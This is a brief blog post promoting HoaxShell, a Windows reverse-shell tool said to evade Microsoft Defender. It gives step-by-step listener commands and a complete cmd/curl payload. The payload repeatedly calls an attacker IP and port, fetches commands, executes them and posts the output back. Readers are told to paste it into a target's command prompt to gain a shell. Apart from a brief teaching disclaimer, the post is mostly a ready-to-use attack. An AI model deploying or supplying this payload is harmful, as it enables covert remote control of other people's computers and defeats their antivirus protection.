This blog is meant to teach and not to harm or take advantage of anyone or any group. You are responsible for what you do with the information in the blog, and I’m are not responsible for any harm or damage that may occur as a result of your actions.
Hi everyone, I’d like to introduce you to a tool called “HoaxShell” created by t313machus, which is available on GitHub.
Tool link : https://github.com/t3l3machus/hoaxshell/tree/main/revshells
hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions, solely based on http(s) traffic. The tool is easy to use, it generates it’s own PowerShell payload and it supports encryption (ssl).
To exploit the vulnerability, first we have to run the listener in our attacker machine.
1pip3 install -r requirements.txt
2Sudo python3 hoaxshell-listener.py -t cmd-curl -p <your port no.>
Now that our listener has started, let’s proceed to step into our target machine.
@echo off&cmd /V:ON /C “SET ip=<Attacker_ip>:<port>&&SET sid=”Authorization: eb6a44aa-8acc1e56–629ea455"&&SET protocol=https://&&curl -fs -k !protocol!!ip!/eb6a44aa -H !sid! > NUL & for /L %i in (0) do (curl -fs -k !protocol!!ip!/8acc1e56 -H !sid! > !temp!\cmd.bat & type !temp!\cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!\cmd.bat > !tmp!\out.txt 2>&1) & curl -fs -k !protocol!!ip!/629ea455 -X POST -H !sid! – data-binary @!temp!\out.txt > NUL)) & timeout 1" > NUL
After by adding your attacker machine ip and port number to this payload, you have to copy this payload and paste it in your target cmd and just hit the enter , you will get the shell.
You can see that, your system is hacked.
Currently the tool is working,after patching, it won’t be work.
Connect me on – LinkedIn:https://www.linkedin.com/in/muhammedfarish/
Twitter: https://twitter.com/muhamedfarish?s=21&t=ivh3nGP66TXv88Jgz5IfiQ